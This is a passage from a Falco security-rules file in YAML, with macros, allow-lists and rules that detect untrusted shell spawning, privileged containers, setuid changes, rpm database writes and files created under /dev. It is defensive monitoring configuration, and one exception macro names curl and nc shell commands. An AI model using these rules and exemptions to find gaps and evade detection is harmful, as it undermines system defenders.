ggparent=%proc.aname[3] gggparent=%proc.aname[4]) 921 | priority: WARNING 922 | tags: [filesystem] 923 | 924 | # Only let rpm-related programs write to the rpm database 925 | - rule: Write below rpm database 926 | desc: an attempt to write to the rpm database by any non-rpm related program 927 | condition: fd.name startswith /var/lib/rpm and open_write and not rpm_procs and not ansible_running_python and not chef_running_yum_dump 928 | output: "Rpm database opened for writing by a non-rpm program (command=%proc.cmdline file=%fd.name)" 929 | priority: ERROR 930 | tags: [filesystem, software_mgmt] 931 | 932 | - macro: postgres_running_wal_e 933 | condition: (proc.pname=postgres and proc.cmdline startswith "sh -c envdir /etc/wal-e.d/env /usr/local/bin/wal-e") 934 | 935 | - rule: DB program spawned process 936 | desc: > 937 | a database-server related program spawned a new process other than itself. 938 | This shouldn\'t occur and is a follow on from some SQL injection attacks. 939 | condition: > 940 | proc.pname in (db_server_binaries) 941 | and spawned_process 942 | and not proc.name in (db_server_binaries) 943 | and not postgres_running_wal_e 944 | output: > 945 | Database-related program spawned process other than itself (user=%user.name 946 | program=%proc.cmdline parent=%proc.pname) 947 | priority: NOTICE 948 | tags: [process, database] 949 | 950 | - rule: Modify binary dirs 951 | desc: an attempt to modify any file below a set of binary directories. 952 | condition: bin_dir_rename and modify and not package_mgmt_procs 953 | output: > 954 | File below known binary directory renamed/removed (user=%user.name command=%proc.cmdline 955 | operation=%evt.type file=%fd.name %evt.args) 956 | priority: ERROR 957 | tags: [filesystem] 958 | 959 | - rule: Mkdir binary dirs 960 | desc: an attempt to create a directory below a set of binary directories. 961 | condition: mkdir and bin_dir_mkdir and not package_mgmt_procs 962 | output: > 963 | Directory below known binary directory created (user=%user.name 964 | command=%proc.cmdline directory=%evt.arg.path) 965 | priority: ERROR 966 | tags: [filesystem] 967 | 968 | # Don't load shared objects coming from unexpected places 969 | # Commenting this out for now--there are lots of shared library 970 | # locations below /usr/lib for things like python, perl, etc. We may 971 | # want to just add /usr/lib to the list, but that is really 972 | # permissive. 973 | # - condition: open_read and fd.name contains .so and not (linux_so_dirs) 974 | # output: "Loaded .so from unexpected dir (%user.name %proc.name %evt.dir %evt.type %evt.args %fd.name)" 975 | # priority: WARNING 976 | 977 | # Temporarily disabling this rule as it's tripping over https://github.com/draios/sysdig/issues/598 978 | # - rule: Syscall returns eaccess 979 | # desc: > 980 | # any system call that returns EACCESS. This is not always a strong 981 | # indication of a problem, hence the INFO priority. 982 | # condition: evt.res = EACCESS 983 | # output: > 984 | # System call returned EACCESS (user=%user.name command=%proc.cmdline 985 | # syscall=%evt.type args=%evt.args) 986 | # priority: INFO 987 | 988 | - rule: Change thread namespace 989 | desc: > 990 | an attempt to change a program/thread\'s namespace (commonly done 991 | as a part of creating a container) by calling setns. 992 | condition: > 993 | evt.type = setns 994 | and not proc.name in (docker_binaries, k8s_binaries, lxd_binaries, sysdigcloud_binaries, sysdig, nsenter) 995 | and not proc.name startswith "runc:" 996 | and not proc.pname in (sysdigcloud_binaries) 997 | and not java_running_sdjagent 998 | and not kubelet_running_loopback 999 | output: > 1000 | Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline 1001 | parent=%proc.pname %container.info) 1002 | priority: NOTICE 1003 | tags: [process] 1004 | 1005 | - list: known_shell_spawn_binaries 1006 | items: [ 1007 | sshd, sudo, su, tmux, screen, emacs, systemd, login, flock, fbash, 1008 | nginx, monit, supervisord, dragent, aws, awslogs, initdb, docker-compose, 1009 | configure, awk, falco, fail2ban-server, fleetctl, 1010 | logrotate, ansible, less, adduser, pycompile, py3compile, 1011 | pyclean, py3clean, pip, pip2, ansible-playboo, man-db, 1012 | init, pluto, mkinitramfs, unattended-upgr, watch, sysdig, 1013 | landscape-sysin, nessusd, PM2, syslog-summary, erl_child_setup, erlexec, 1014 | npm, cloud-init, toybox, ceph, hhvm, certbot, 1015 | serf, a2enmod, runsv, supervisord, varnishd, authconfig, tini, 1016 | timeout, updatedb.findut, adclient, systemd-udevd, 1017 | luajit, uwsgi, cfn-signal, apache_control_, beam.smp, paster, postfix-local, 1018 | nginx_control, mailmng-service, web_statistic_e, statistics_coll, install-info, 1019 | hawkular-metric, rhsmcertd-worke, parted, amuled, fluentd, x2gormforward, 1020 | parallels_insta, salt-minion, dnsmng, update-inetd, pum_worker, awstats_buildst, 1021 | tsvuln, 50plesk-daily, grubby, chkconfig, dracut-install, rhnsd, find, consul, 1022 | doxygen, Cypress, consul-template, xargs, scl, awstats_updatea, sa-update, 1023 | mysql_upgrade, opkg-cl, vmtoolsd, confd 1024 | ] 1025 | 1026 | # The binaries in this list and their descendents are *not* allowed 1027 | # spawn shells. This includes the binaries spawning shells directly as 1028 | # well as indirectly. For example, apache -> php/perl for 1029 | # mod_{php,perl} -> some shell is also not allowed, because the shell 1030 | # has apache as an ancestor. 1031 | 1032 | - list: protected_shell_spawning_binaries 1033 | items: [ 1034 | http_server_binaries, db_server_binaries, nosql_server_binaries, mail_binaries, 1035 | fluentd, flanneld, splunkd, consul, smbd, runsv 1036 | ] 1037 | 1038 | - macro: parent_java_running_zookeeper 1039 | condition: (proc.pname=java and proc.pcmdline contains org.apache.zookeeper.server) 1040 | 1041 | - macro: parent_java_running_kafka 1042 | condition: (proc.pname=java and proc.pcmdline contains kafka.Kafka) 1043 | 1044 | - macro: parent_java_running_elasticsearch 1045 | condition: (proc.pname=java and proc.pcmdline contains org.elasticsearch.bootstrap.Elasticsearch) 1046 | 1047 | - macro: parent_java_running_activemq 1048 | condition: (proc.pname=java and proc.pcmdline contains activemq.jar) 1049 | 1050 | - macro: parent_java_running_cassandra 1051 | condition: (proc.pname=java and proc.pcmdline contains org.apache.cassandra.service.CassandraDaemon) 1052 | 1053 | - macro: parent_java_running_jboss_wildfly 1054 | condition: (proc.pname=java and proc.pcmdline contains org.jboss) 1055 | 1056 | - macro: parent_java_running_glassfish 1057 | condition: (proc.pname=java and proc.pcmdline contains com.sun.enterprise.glassfish) 1058 | 1059 | - macro: parent_java_running_hadoop 1060 | condition: (proc.pname=java and proc.pcmdline contains org.apache.hadoop) 1061 | 1062 | - macro: parent_java_running_datastax 1063 | condition: (proc.pname=java and proc.pcmdline contains com.datastax) 1064 | 1065 | - macro: parent_java_running_sumologic 1066 | condition: (proc.pname=java and proc.pcmdline contains com.sumologic) 1067 | 1068 | - macro: nginx_starting_nginx 1069 | condition: (proc.pname=nginx and proc.cmdline contains "/usr/sbin/nginx -c /etc/nginx/nginx.conf") 1070 | 1071 | - macro: consul_running_net_scripts 1072 | condition: (proc.pname=consul and (proc.cmdline startswith "sh -c curl" or proc.cmdline startswith "sh -c nc")) 1073 | 1074 | - macro: consul_running_alert_checks 1075 | condition: (proc.pname=consul and proc.cmdline startswith "sh -c /bin/consul-alerts") 1076 | 1077 | - macro: serf_script 1078 | condition: (proc.cmdline startswith "sh -c serf") 1079 | 1080 | - macro: check_process_status 1081 | condition: (proc.cmdline startswith "sh -c kill -0 ") 1082 | 1083 | - macro: protected_shell_spawner 1084 | condition: > 1085 | (proc.aname in (protected_shell_spawning_binaries) 1086 | or parent_java_running_zookeeper 1087 | or parent_java_running_kafka 1088 | or parent_java_running_elasticsearch 1089 | or parent_java_running_activemq 1090 | or parent_java_running_cassandra 1091 | or parent_java_running_jboss_wildfly 1092 | or parent_java_running_glassfish 1093 | or parent_java_running_hadoop 1094 | or parent_java_running_datastax) 1095 | 1096 | # Note that runsv is both in protected_shell_spawner and the 1097 | # exclusions by pname. This means that runsv can itself spawn shells 1098 | # (the ./run and ./finish scripts), but the processes runsv can not 1099 | # spawn shells. 1100 | - rule: Run shell untrusted 1101 | desc: an attempt to spawn a shell below a non-shell application. Specific applications are monitored. 1102 | condition: > 1103 | spawned_process 1104 | and shell_procs 1105 | and proc.pname exists 1106 | and protected_shell_spawner 1107 | and not proc.pname in (shell_binaries, gitlab_binaries, cron_binaries, user_known_shell_spawn_binaries, 1108 | needrestart_binaries, 1109 | erl_child_setup, exechealthz, 1110 | PM2, PassengerWatchd, c_rehash, svlogd, logrotate, hhvm, serf, 1111 | lb-controller, nvidia-installe, runsv, statsite) 1112 | and not proc.cmdline in (known_shell_spawn_cmdlines) 1113 | and not proc.aname in (unicorn_launche) 1114 | and not consul_running_net_scripts 1115 | and not consul_running_alert_checks 1116 | and not nginx_starting_nginx 1117 | and not run_by_package_mgmt_binaries 1118 | and not serf_script 1119 | and not check_process_status 1120 | and not run_by_foreman 1121 | and not python_mesos_marathon_scripting 1122 | and not splunk_running_forwarder 1123 | and not postgres_running_wal_e 1124 | and not user_shell_container_exclusions 1125 | output: > 1126 | Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname 1127 | cmdline=%proc.cmdline pcmdline=%proc.pcmdline gparent=%proc.aname[2] ggparent=%proc.aname[3] 1128 | gggparent=%proc.aname[4] ggggparent=%proc.aname[5]) 1129 | priority: DEBUG 1130 | tags: [shell] 1131 | 1132 | - macro: trusted_containers 1133 | condition: (container.image startswith sysdig/agent or 1134 | (container.image startswith sysdig/falco and 1135 | not container.image startswith sysdig/falco-event-generator) or 1136 | container.image startswith quay.io/sysdig or 1137 | container.image startswith sysdig/sysdig or 1138 | container.image startswith gcr.io/google_containers/hyperkube or 1139 | container.image startswith quay.io/coreos/flannel or 1140 | container.image startswith gcr.io/google_containers/kube-proxy or 1141 | container.image startswith calico/node or 1142 | container.image startswith rook/toolbox or 1143 | container.image startswith registry.access.redhat.com/openshift3/logging-fluentd or 1144 | container.image startswith registry.access.redhat.com/openshift3/logging-elasticsearch or 1145 | container.image startswith cloudnativelabs/kube-router) 1146 | 1147 | # Add conditions to this macro (probably in a separate file, 1148 | # overwriting this macro) to specify additional containers that are 1149 | # trusted and therefore allowed to run privileged. 1150 | # 1151 | # In this file, it just takes one of the images in trusted_containers 1152 | # and repeats it. 1153 | - macro: user_trusted_containers 1154 | condition: (container.image startswith sysdig/agent) 1155 | 1156 | # Add conditions to this macro (probably in a separate file, 1157 | # overwriting this macro) to specify additional containers that are 1158 | # allowed to perform sensitive mounts. 1159 | # 1160 | # In this file, it just takes one of the images in trusted_containers 1161 | # and repeats it. 1162 | - macro: user_sensitive_mount_containers 1163 | condition: (container.image startswith sysdig/agent) 1164 | 1165 | # These containers are ones that are known to spawn lots of 1166 | # shells. Generally, they are for systems where the container is used 1167 | # as a packaging mechanism more than for a dedicated microservice. 1168 | - macro: shell_spawning_containers 1169 | condition: (container.image startswith jenkins or 1170 | container.image startswith gitlab/gitlab-ce or 1171 | container.image startswith gitlab/gitlab-ee) 1172 | 1173 | - rule: Launch Privileged Container 1174 | desc: Detect the initial process started in a privileged container. Exceptions are made for known trusted images. 1175 | condition: > 1176 | evt.type=execve and proc.vpid=1 and container 1177 | and container.privileged=true 1178 | and not trusted_containers 1179 | and not user_trusted_containers 1180 | output: Privileged container started (user=%user.name command=%proc.cmdline %container.info image=%container.image) 1181 | priority: INFO 1182 | tags: [container, cis] 1183 | 1184 | # For now, only considering a full mount of /etc as 1185 | # sensitive. Ideally, this would also consider all subdirectories 1186 | # below /etc as well, but the globbing mechanism used by sysdig 1187 | # doesn't allow exclusions of a full pattern, only single characters. 1188 | - macro: sensitive_mount 1189 | condition: (container.mount.dest[/proc*] != "N/A" or 1190 | container.mount.dest[/var/run/docker.sock] != "N/A" or 1191 | container.mount.dest[/] != "N/A" or 1192 | container.mount.dest[/etc] != "N/A" or 1193 | container.mount.dest[/root*] != "N/A") 1194 | 1195 | # The steps libcontainer performs to set up the root program for a container are: 1196 | # - clone + exec self to a program runc:[0:PARENT] 1197 | # - clone a program runc:[1:CHILD] which sets up all the namespaces 1198 | # - clone a second program runc:[2:INIT] + exec to the root program. 1199 | # The parent of runc:[2:INIT] is runc:0:PARENT] 1200 | # As soon as 1:CHILD is created, 0:PARENT exits, so there's a race 1201 | # where at the time 2:INIT execs the root program, 0:PARENT might have 1202 | # already exited, or might still be around. So we handle both. 1203 | # We also let runc:[1:CHILD] count as the parent process, which can occur 1204 | # when we lose events and lose track of state. 1205 | 1206 | - macro: container_entrypoint 1207 | condition: (not proc.pname exists or proc.pname in (runc:[0:PARENT], runc:[1:CHILD], docker-runc, exe)) 1208 | 1209 | - rule: Launch Sensitive Mount Container 1210 | desc: > 1211 | Detect the initial process started by a container that has a mount from a sensitive host directory 1212 | (i.e. /proc). Exceptions are made for known trusted images. 1213 | condition: > 1214 | evt.type=execve and proc.vpid=1 and container 1215 | and sensitive_mount 1216 | and not trusted_containers 1217 | and not user_sensitive_mount_containers 1218 | output: Container with sensitive mount started (user=%user.name command=%proc.cmdline %container.info image=%container.image mounts=%container.mounts) 1219 | priority: INFO 1220 | tags: [container, cis] 1221 | 1222 | # In a local/user rules file, you could override this macro to 1223 | # explicitly enumerate the container images that you want to run in 1224 | # your environment. In this main falco rules file, there isn't any way 1225 | # to know all the containers that can run, so any container is 1226 | # alllowed, by using a filter that is guaranteed to evaluate to true 1227 | # (the same proc.vpid=1 that's in the Launch Disallowed Container 1228 | # rule). In the overridden macro, the condition would look something 1229 | # like (container.image startswith vendor/container-1 or 1230 | # container.image startswith vendor/container-2 or ...) 1231 | 1232 | - macro: allowed_containers 1233 | condition: (proc.vpid=1) 1234 | 1235 | - rule: Launch Disallowed Container 1236 | desc: > 1237 | Detect the initial process started by a container that is not in a list of allowed containers. 1238 | condition: evt.type=execve and proc.vpid=1 and container and not allowed_containers 1239 | output: Container started and not in allowed list (user=%user.name command=%proc.cmdline %container.info image=%container.image) 1240 | priority: WARNING 1241 | tags: [container] 1242 | 1243 | # Anything run interactively by root 1244 | # - condition: evt.type != switch and user.name = root and proc.name != sshd and interactive 1245 | # output: "Interactive root (%user.name %proc.name %evt.dir %evt.type %evt.args %fd.name)" 1246 | # priority: WARNING 1247 | 1248 | - rule: System user interactive 1249 | desc: an attempt to run interactive commands by a system (i.e. non-login) user 1250 | condition: spawned_process and system_users and interactive 1251 | output: "System user ran an interactive command (user=%user.name command=%proc.cmdline)" 1252 | priority: INFO 1253 | tags: [users] 1254 | 1255 | - rule: Terminal shell in container 1256 | desc: A shell was used as the entrypoint/exec point into a container with an attached terminal. 1257 | condition: > 1258 | spawned_process and container 1259 | and shell_procs and proc.tty != 0 1260 | and container_entrypoint 1261 | output: > 1262 | A shell was spawned in a container with an attached terminal (user=%user.name %container.info 1263 | shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty) 1264 | priority: NOTICE 1265 | tags: [container, shell] 1266 | 1267 | # For some container types (mesos), there isn't a container image to 1268 | # work with, and the container name is autogenerated, so there isn't 1269 | # any stable aspect of the software to work with. In this case, we 1270 | # fall back to allowing certain command lines. 1271 | 1272 | - list: known_shell_spawn_cmdlines 1273 | items: [ 1274 | '"sh -c uname -p 2> /dev/null"', 1275 | '"sh -c uname -s 2>&1"', 1276 | '"sh -c uname -r 2>&1"', 1277 | '"sh -c uname -v 2>&1"', 1278 | '"sh -c uname -a 2>&1"', 1279 | '"sh -c ruby -v 2>&1"', 1280 | '"sh -c getconf CLK_TCK"', 1281 | '"sh -c getconf PAGESIZE"', 1282 | '"sh -c LC_ALL=C LANG=C /sbin/ldconfig -p 2>/dev/null"', 1283 | '"sh -c LANG=C /sbin/ldconfig -p 2>/dev/null"', 1284 | '"sh -c /sbin/ldconfig -p 2>/dev/null"', 1285 | '"sh -c stty -a 2>/dev/null"', 1286 | '"sh -c stty -a < /dev/tty"', 1287 | '"sh -c stty -g < /dev/tty"', 1288 | '"sh -c node index.js"', 1289 | '"sh -c node index"', 1290 | '"sh -c node ./src/start.js"', 1291 | '"sh -c node app.js"', 1292 | '"sh -c node -e \"require(''nan'')\""', 1293 | '"sh -c node -e \"require(''nan'')\")"', 1294 | '"sh -c node $NODE_DEBUG_OPTION index.js "', 1295 | '"sh -c crontab -l 2"', 1296 | '"sh -c lsb_release -a"', 1297 | '"sh -c lsb_release -is 2>/dev/null"', 1298 | '"sh -c whoami"', 1299 | '"sh -c node_modules/.bin/bower-installer"', 1300 | '"sh -c /bin/hostname -f 2> /dev/null"', 1301 | '"sh -c locale -a"', 1302 | '"sh -c -t -i"', 1303 | '"sh -c openssl version"' 1304 | ] 1305 | 1306 | - list: known_container_shell_spawn_cmdlines 1307 | items: [ 1308 | known_shell_spawn_cmdlines, 1309 | '"bash -c curl -f localhost:$API_PORT/admin/healthcheck"', 1310 | '"sh -c curl http://localhost:6060/debug/vars>/dev/null "', 1311 | '"sh -c curl http://localhost:6060/debug/vars>/dev/null"', 1312 | '"sh -c curl http://localhost:6060/debug/vars>/dev/null"', 1313 | '"sh -c curl http://localhost:6060/debug/vars>/dev/null "', 1314 | '"sh -c pgrep java && exit 0 || exit 1 "', 1315 | '"sh -c echo healthy "', 1316 | '"sh -c echo alive "', 1317 | '"bash /opt/docker/bin/lar"', 1318 | '"bash /opt/docker/bin/irs"', 1319 | '"bash /opt/docker/bin/brs"', 1320 | '"bash /opt/docker/bin/hdi"', 1321 | '"bash /opt/docker/bin/hdi "', 1322 | '"bash /home/entrypoint.sh"', 1323 | '"bash /tmp/bootstrap.sh"' 1324 | ] 1325 | 1326 | # This list allows for easy additions to the set of commands allowed 1327 | # to run shells in containers without having to without having to copy 1328 | # and override the entire run shell in container macro. Once 1329 | # https://github.com/draios/falco/issues/255 is fixed this will be a 1330 | # bit easier, as someone could append of any of the existing lists. 1331 | - list: user_known_shell_spawn_binaries 1332 | items: [] 1333 | 1334 | # This macro allows for easy additions to the set of commands allowed 1335 | # to run shells in containers without having to override the entire 1336 | # rule. Its default value is an expression that always is false, which 1337 | # becomes true when the "not ..." in the rule is applied. 1338 | - macro: user_shell_container_exclusions 1339 | condition: (evt.num=0) 1340 | 1341 | # Temporarily adding as an example 1342 | - macro: node_running_edi_dynamodb 1343 | condition: > 1344 | (proc.pname=node and (proc.pcmdline contains /var/www/edi/process.js or 1345 | proc.pcmdline contains "sh -c /var/www/edi/bin/sftp.sh")) 1346 | 1347 | - macro: login_doing_dns_lookup 1348 | condition: (proc.name=login and fd.l4proto=udp and fd.sport=53) 1349 | 1350 | # sockfamily ip is to exclude certain processes (like 'groups') that communicate on unix-domain sockets 1351 | # systemd can listen on ports to launch things like sshd on demand 1352 | - rule: System procs network activity 1353 | desc: any network activity performed by system binaries that are not expected to send or receive any network traffic 1354 | condition: > 1355 | (fd.sockfamily = ip and system_procs) 1356 | and (inbound or outbound) 1357 | and not proc.name in (systemd, hostid) 1358 | and not login_doing_dns_lookup 1359 | output: > 1360 | Known system binary sent/received network traffic 1361 | (user=%user.name command=%proc.cmdline connection=%fd.name) 1362 | priority: NOTICE 1363 | tags: [network] 1364 | 1365 | # With the current restriction on system calls handled by falco 1366 | # (e.g. excluding read/write/sendto/recvfrom/etc, this rule won't 1367 | # trigger). 1368 | # - rule: Ssh error in syslog 1369 | # desc: any ssh errors (failed logins, disconnects, ...) sent to syslog 1370 | # condition: syslog and ssh_error_message and evt.dir = < 1371 | # output: "sshd sent error message to syslog (error=%evt.buffer)" 1372 | # priority: WARNING 1373 | 1374 | - macro: somebody_becoming_themself 1375 | condition: ((user.name=nobody and evt.arg.uid=nobody) or 1376 | (user.name=www-data and evt.arg.uid=www-data) or 1377 | (user.name=_apt and evt.arg.uid=_apt) or 1378 | (user.name=postfix and evt.arg.uid=postfix) or 1379 | (user.name=pki-agent and evt.arg.uid=pki-agent) or 1380 | (user.name=pki-acme and evt.arg.uid=pki-acme) or 1381 | (user.name=nfsnobody and evt.arg.uid=nfsnobody) or 1382 | (user.name=postgres and evt.arg.uid=postgres)) 1383 | 1384 | - macro: nrpe_becoming_nagios 1385 | condition: (proc.name=nrpe and evt.arg.uid=nagios) 1386 | 1387 | # In containers, the user name might be for a uid that exists in the 1388 | # container but not on the host. (See 1389 | # https://github.com/draios/sysdig/issues/954). So in that case, allow 1390 | # a setuid. 1391 | - macro: known_user_in_container 1392 | condition: (container and user.name != "N/A") 1393 | 1394 | # sshd, mail programs attempt to setuid to root even when running as non-root. Excluding here to avoid meaningless FPs 1395 | - rule: Non sudo setuid 1396 | desc: > 1397 | an attempt to change users by calling setuid. sudo/su are excluded. users "root" and "nobody" 1398 | suing to itself are also excluded, as setuid calls typically involve dropping privileges. 1399 | condition: > 1400 | evt.type=setuid and evt.dir=> 1401 | and (known_user_in_container or not container) 1402 | and not user.name=root and not somebody_becoming_themself 1403 | and not proc.name in (known_setuid_binaries, userexec_binaries, mail_binaries, docker_binaries, 1404 | nomachine_binaries) 1405 | and not java_running_sdjagent 1406 | and not nrpe_becoming_nagios 1407 | output: > 1408 | Unexpected setuid call by non-sudo, non-root program (user=%user.name cur_uid=%user.uid parent=%proc.pname 1409 | command=%proc.cmdline uid=%evt.arg.uid) 1410 | priority: NOTICE 1411 | tags: [users] 1412 | 1413 | - rule: User mgmt binaries 1414 | desc: > 1415 | activity by any programs that can manage users, passwords, or permissions. sudo and su are excluded. 1416 | Activity in containers is also excluded--some containers create custom users on top 1417 | of a base linux distribution at startup. 1418 | Some innocuous commandlines that don't actually change anything are excluded. 1419 | condition: > 1420 | spawned_process and proc.name in (user_mgmt_binaries) and 1421 | not proc.name in (su, sudo, lastlog, nologin, unix_chkpwd) and not container and 1422 | not proc.pname in (cron_binaries, systemd, run-parts) and 1423 | not proc.cmdline startswith "passwd -S" and 1424 | not proc.cmdline startswith "useradd -D" and 1425 | not proc.cmdline startswith "systemd --version" and 1426 | not run_by_qualys and 1427 | not run_by_sumologic_securefiles and 1428 | not run_by_yum 1429 | output: > 1430 | User management binary command run outside of container 1431 | (user=%user.name command=%proc.cmdline parent=%proc.pname gparent=%proc.aname[2] ggparent=%proc.aname[3] gggparent=%proc.aname[4]) 1432 | priority: NOTICE 1433 | tags: [host, users] 1434 | 1435 | - list: allowed_dev_files 1436 | items: [ 1437 | /dev/null, /dev/stdin, /dev/stdout, /dev/stderr, 1438 | /dev/random, /dev/urandom, /dev/console, /dev/kmsg 1439 | ] 1440 | 1441 | # (we may need to add additional checks against false positives, see: 1442 | # https://bugs.launchpad.net/ubuntu/+source/rkhunter/+bug/86153) 1443 | - rule: Create files below dev 1444 | desc: creating any files below /dev other than known programs that manage devices. Some rootkits hide files in /dev. 1445 | condition: > 1446 | fd.directory = /dev and 1447 | (evt.type = creat or (evt.type = open and evt.arg.flags contains O_CREAT)) 1448 | and not proc.name in (dev_creation_binaries) 1449 | and not fd.name in (allowed_dev_files) 1450 | and not fd.name startswith /dev/tty 1451 | output: "File created below /dev by untrusted program (user=%user.name command=%proc.cmdline file=%fd.name)" 1452 | priority: ERROR 1453 | tags: [filesystem] 1454 | 1455 | # It'd be nice if we could warn when processes in a fbash session try 1456 | # to download from any nonstandard location? This is probably blocked 1457 | # on https://github.com/draios/falco/issues/88 though. 1458 | 1459 | ########################### 1460 | # Application-Related Rules 1461 | ########################### 1462 | 1463 | # Moved to application_rules.yaml. Please look there if you want to 1464 | # enable them by adding to falco_rules.local.yaml. 1465 | --------------------------------------------------------------------------------